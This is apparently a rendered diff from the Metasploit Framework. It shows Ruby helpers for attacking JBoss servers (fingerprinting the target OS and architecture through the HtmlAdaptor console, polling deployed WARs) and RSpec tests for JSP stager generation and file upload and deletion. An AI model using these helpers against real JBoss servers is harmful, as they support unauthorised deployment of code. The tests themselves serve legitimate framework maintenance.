def call_uri_mtimes(uri, num_attempts = 5)
|
|
||||||
verb = 'HEAD' if (datastore['VERB'] != 'GET' and datastore['VERB'] != 'POST')
|
|
||||||
|
|
||||||
# JBoss might need some time for the deployment. Try 5 times at most and
|
|
||||||
# wait 5 seconds inbetween tries
|
|
||||||
num_attempts.times do |attempt|
|
|
||||||
res = send_request_cgi({
|
|
||||||
'uri' => uri,
|
|
||||||
'method' => verb
|
|
||||||
}, 30)
|
|
||||||
|
|
||||||
stripped_uri = uri[0,70] + "..."
|
|
||||||
msg = nil
|
|
||||||
if (!res)
|
|
||||||
msg = "Execution failed on #{stripped_uri} [No Response]"
|
|
||||||
elsif (res.code < 200 or res.code >= 300)
|
|
||||||
msg = "http request failed to #{stripped_uri} [#{res.code}]"
|
|
||||||
elsif (res.code == 200)
|
|
||||||
print_status("Successfully called '#{stripped_uri}'") if datastore['VERBOSE']
|
|
||||||
return res
|
|
||||||
end
|
|
||||||
|
|
||||||
if (attempt < num_attempts - 1)
|
|
||||||
msg << ", retrying in 5 seconds..."
|
|
||||||
print_status(msg) if datastore['VERBOSE']
|
|
||||||
select(nil, nil, nil, 5)
|
|
||||||
else
|
|
||||||
print_error(msg)
|
|
||||||
return res
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
|
|
||||||
def auto_target
|
|
||||||
print_status("Attempting to automatically select a target...")
|
|
||||||
res = query_serverinfo
|
|
||||||
if not (plat = detect_platform(res))
|
|
||||||
fail_with(Failure::NoTarget, 'Unable to detect platform!')
|
|
||||||
end
|
|
||||||
|
|
||||||
if not (arch = detect_architecture(res))
|
|
||||||
fail_with(Failure::NoTarget, 'Unable to detect architecture!')
|
|
||||||
end
|
|
||||||
|
|
||||||
# see if we have a match
|
|
||||||
targets.each { |t| return t if (t['Platform'] == plat) and (t['Arch'] == arch) }
|
|
||||||
|
|
||||||
# no matching target found, use Java as fallback
|
|
||||||
java_targets = targets.select {|t| t.name =~ /^Java/ }
|
|
||||||
return java_targets[0]
|
|
||||||
end
|
|
||||||
|
|
||||||
|
|
||||||
def query_serverinfo
|
|
||||||
path = normalize_uri(datastore['PATH'], '/HtmlAdaptor') + '?action=inspectMBean&name=jboss.system:type=ServerInfo'
|
|
||||||
res = send_request_raw(
|
|
||||||
{
|
|
||||||
'uri' => path,
|
|
||||||
'method' => datastore['VERB']
|
|
||||||
}, 20)
|
|
||||||
|
|
||||||
if (not res) or (res.code != 200)
|
|
||||||
print_error("Failed: Error requesting #{path}")
|
|
||||||
return nil
|
|
||||||
end
|
|
||||||
|
|
||||||
res
|
|
||||||
end
|
|
||||||
|
|
||||||
# Try to autodetect the target platform
|
|
||||||
def detect_platform(res)
|
|
||||||
if (res.body =~ /<td.*?OSName.*?(Linux|FreeBSD|Windows).*?<\/td>/m)
|
|
||||||
os = $1
|
|
||||||
if (os =~ /Linux/i)
|
|
||||||
return 'linux'
|
|
||||||
elsif (os =~ /FreeBSD/i)
|
|
||||||
return 'linux'
|
|
||||||
elsif (os =~ /Windows/i)
|
|
||||||
return 'win'
|
|
||||||
end
|
|
||||||
end
|
|
||||||
nil
|
|
||||||
end
|
|
||||||
|
|
||||||
|
|
||||||
# Try to autodetect the target architecture
|
|
||||||
def detect_architecture(res)
|
|
||||||
if (res.body =~ /<td.*?OSArch.*?(x86|i386|i686|x86_64|amd64).*?<\/td>/m)
|
|
||||||
arch = $1
|
|
||||||
if (arch =~ /(x86|i386|i686)/i)
|
|
||||||
return ARCH_X86
|
|
||||||
elsif (arch =~ /(x86_64|amd64)/i)
|
|
||||||
return ARCH_X86
|
|
||||||
end
|
|
||||||
end
|
|
||||||
nil
|
|
||||||
end
|
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
|
@ -58,4 +58,72 @@ describe Msf::HTTP::JBoss::Base do
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
describe "#query_serverinfo" do
|
||||||
|
before :each do
|
||||||
|
allow(subject).to receive(:send_request_cgi) do
|
||||||
|
if res_code.nil?
|
||||||
|
res = nil
|
||||||
|
else
|
||||||
|
res = Rex::Proto::Http::Response.new
|
||||||
|
res.code = res_code
|
||||||
|
end
|
||||||
|
|
||||||
|
res
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
context 'when server timeouts' do
|
||||||
|
let(:res_code) { nil }
|
||||||
|
it { expect(subject.query_serverinfo()).to be_nil }
|
||||||
|
end
|
||||||
|
|
||||||
|
context 'when server returns 200' do
|
||||||
|
let(:res_code) { 200 }
|
||||||
|
it { expect(subject.query_serverinfo()).to be_kind_of Rex::Proto::Http::Response }
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
describe "#detect_plateform" do
|
||||||
|
context "when server arch is Linux" do
|
||||||
|
res = Rex::Proto::Http::Response.new
|
||||||
|
res.body = "<td>OSName: Linux</td>"
|
||||||
|
it { expect(subject.detect_platform(res)).to eq "linux" }
|
||||||
|
end
|
||||||
|
|
||||||
|
context "when server arch is Windows" do
|
||||||
|
res = Rex::Proto::Http::Response.new
|
||||||
|
res.body = "<td>OSName: Windows</td>"
|
||||||
|
it { expect(subject.detect_platform(res)).to eq "win" }
|
||||||
|
end
|
||||||
|
|
||||||
|
context "return nil if no OS match" do
|
||||||
|
res = Rex::Proto::Http::Response.new
|
||||||
|
res.body = "<td>OSName: Blah</td>"
|
||||||
|
it { expect(subject.detect_platform(res)).to be_nil }
|
||||||
|
end
|
||||||
|
|
||||||
|
context "return nil res is nil" do
|
||||||
|
res = nil
|
||||||
|
it { expect(subject.detect_platform(res)).to be_nil }
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
describe "#detect_architecture" do
|
||||||
|
context "when server arch is x86" do
|
||||||
|
res = Rex::Proto::Http::Response.new
|
||||||
|
res.body = "<td>OSArch: i386</td>"
|
||||||
|
it { expect(subject.detect_architecture(res)).to eq ARCH_X86 }
|
||||||
|
end
|
||||||
|
|
||||||
|
context "return nil if no architecture match" do
|
||||||
|
res = Rex::Proto::Http::Response.new
|
||||||
|
res.body = "<td>OSArch: Blah</td>"
|
||||||
|
it { expect(subject.detect_architecture(res)).to be_nil }
|
||||||
|
end
|
||||||
|
|
||||||
|
context "return nil res is nil" do
|
||||||
|
res = nil
|
||||||
|
it { expect(subject.detect_architecture(res)).to be_nil }
|
||||||
|
end
|
||||||
|
end
|
||||||
end
|
end
|
||||||
|
|
|
@ -17,7 +17,7 @@ describe Msf::HTTP::JBoss::BeanShellScripts do
|
||||||
it { expect(subject.generate_bsh(:create, {})).to include('String jboss_home = System.getProperty("jboss.server.home.dir");') }
|
it { expect(subject.generate_bsh(:create, {})).to include('String jboss_home = System.getProperty("jboss.server.home.dir");') }
|
||||||
end
|
end
|
||||||
|
|
||||||
context "when :create type is used" do
|
context "when :delete type is used" do
|
||||||
it { expect(subject.generate_bsh(:delete, {})).to include('String jboss_home = System.getProperty("jboss.server.home.dir");') }
|
it { expect(subject.generate_bsh(:delete, {})).to include('String jboss_home = System.getProperty("jboss.server.home.dir");') }
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
|
@ -0,0 +1,39 @@
|
||||||
|
#-*- coding:binary -*-
|
||||||
|
require 'spec_helper'
|
||||||
|
|
||||||
|
require 'msf/core'
|
||||||
|
require 'msf/http/jboss'
|
||||||
|
|
||||||
|
describe Msf::HTTP::JBoss::DeploymentFileRepositoryScripts do
|
||||||
|
subject do
|
||||||
|
mod = ::Msf::Exploit.new
|
||||||
|
mod.extend Msf::HTTP::JBoss
|
||||||
|
mod.send(:initialize)
|
||||||
|
mod
|
||||||
|
end
|
||||||
|
|
||||||
|
describe "#stager_jsp_with_payload" do
|
||||||
|
it "returns the JSP stager" do
|
||||||
|
expect(subject.stager_jsp_with_payload('metasploit', 'payload')).to include('System.getProperty("jboss.server.home.dir");')
|
||||||
|
end
|
||||||
|
|
||||||
|
it "uses the provided application name" do
|
||||||
|
expect(subject.stager_jsp_with_payload('metasploit', 'payload')).to include('"/deploy/management/" + "metasploit.war";')
|
||||||
|
end
|
||||||
|
|
||||||
|
it "uses the provided payload" do
|
||||||
|
expect(subject.stager_jsp_with_payload('metasploit', 'payload')).to include('"payload";')
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
describe "#head_stager_jsp" do
|
||||||
|
it "returns the head JSP stager" do
|
||||||
|
expect(subject.head_stager_jsp('stager_base', 'jsp_name')).to include('System.getProperty("jboss.server.home.dir");')
|
||||||
|
end
|
||||||
|
|
||||||
|
it "uses the provided base name" do
|
||||||
|
expect(subject.head_stager_jsp('stager_base', 'jsp_name')).to include('"/deploy/management/" + "stager_base.war/"')
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
|
@ -0,0 +1,91 @@
|
||||||
|
#-*- coding:binary -*-
|
||||||
|
require 'spec_helper'
|
||||||
|
|
||||||
|
require 'msf/core'
|
||||||
|
require 'msf/http/jboss'
|
||||||
|
|
||||||
|
describe Msf::HTTP::JBoss::DeploymentFileRepository do
|
||||||
|
|
||||||
|
subject do
|
||||||
|
mod = ::Msf::Exploit.new
|
||||||
|
mod.extend Msf::HTTP::JBoss
|
||||||
|
mod.send(:initialize)
|
||||||
|
mod
|
||||||
|
end
|
||||||
|
|
||||||
|
let (:base_name) do
|
||||||
|
'dir_blah'
|
||||||
|
end
|
||||||
|
|
||||||
|
let (:jsp_name) do
|
||||||
|
'file_blah'
|
||||||
|
end
|
||||||
|
|
||||||
|
let (:content) do
|
||||||
|
'<%@page import="java.io.*%>'
|
||||||
|
end
|
||||||
|
|
||||||
|
before :each do
|
||||||
|
allow(subject).to receive(:send_request_cgi) do
|
||||||
|
case res_code
|
||||||
|
when nil
|
||||||
|
res = nil
|
||||||
|
when 401
|
||||||
|
res = Rex::Proto::Http::Response.new(401, "Authentication required")
|
||||||
|
when 404
|
||||||
|
res = Rex::Proto::Http::Response::E404.new
|
||||||
|
when 200
|
||||||
|
res = Rex::Proto::Http::Response::OK.new
|
||||||
|
else
|
||||||
|
res = Rex::Proto::Http::Response.new
|
||||||
|
res.code = res_code
|
||||||
|
end
|
||||||
|
|
||||||
|
res
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
describe "#upload_file" do
|
||||||
|
context 'when server timeouts' do
|
||||||
|
let (:res_code) { nil }
|
||||||
|
it { expect(subject.upload_file(base_name, jsp_name, content)).to be_nil }
|
||||||
|
end
|
||||||
|
|
||||||
|
context 'when server returns a 200 response' do
|
||||||
|
let (:res_code) { 200 }
|
||||||
|
it { expect(subject.upload_file(base_name, jsp_name, content)).to be_kind_of Rex::Proto::Http::Response }
|
||||||
|
end
|
||||||
|
|
||||||
|
context 'when server returns a 404 response' do
|
||||||
|
let (:res_code) { 404 }
|
||||||
|
it { expect(subject.upload_file(base_name, jsp_name, content)).to be_kind_of Rex::Proto::Http::Response }
|
||||||
|
end
|
||||||
|
|
||||||
|
context 'when server returns a 401 response' do
|
||||||
|
let (:res_code) { 401 }
|
||||||
|
it { expect(subject.upload_file(base_name, jsp_name, content)).to be_kind_of Rex::Proto::Http::Response }
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
describe "#delete_file" do
|
||||||
|
context 'when server timeouts' do
|
||||||
|
let (:res_code) { nil }
|
||||||
|
it { expect(subject.delete_file(base_name, jsp_name, content)).to be_nil }
|
||||||
|
end
|
||||||
|
|
||||||
|
context 'when server returns a 200 response' do
|
||||||
|
let (:res_code) { 200 }
|
||||||
|
it { expect(subject.delete_file(base_name, jsp_name, content)).to be_kind_of Rex::Proto::Http::Response }
|
||||||
|
end
|
||||||
|
|
||||||
|
context 'when server returns a 404 response' do
|
||||||
|
let (:res_code) { 404 }
|
||||||
|
it { expect(subject.delete_file(base_name, jsp_name, content)).to be_kind_of Rex::Proto::Http::Response }
|
||||||
|
end
|
||||||
|
|
||||||
|
context 'when server returns a 401 response' do
|
||||||
|
let (:res_code) { 401 }
|
||||||
|
it { expect(subject.delete_file(base_name, jsp_name, content)).to be_kind_of Rex::Proto::Http::Response }
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
Loading…
Reference in New Issue